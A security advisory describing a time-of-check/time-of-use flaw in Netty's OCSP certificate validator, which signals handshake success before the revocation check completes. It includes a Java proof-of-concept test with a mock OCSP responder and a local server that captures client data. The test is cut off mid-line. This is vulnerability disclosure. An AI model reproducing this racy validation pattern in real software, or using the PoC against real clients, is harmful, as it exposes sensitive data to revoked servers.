Netty: TOCTOU in OcspServerCertificateValidator
Summary
Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
```java
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();
IoTransport mockTransport = IoTransport.create(group.next(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().schedule(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);
}
});
return channel;
}, NioDatagramChannel::new);
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
CountDownLatch dataReceivedLatch = new CountDownLatch(1);
new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
@Override
protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
receivedData.add(msg.toString(CharsetUtil.UTF_8));
dataReceivedLatch.countDown();
}
});
}
})
.bind(8080)
.sync()
.channel();
SslContext clientSslCtx = SslContextBu
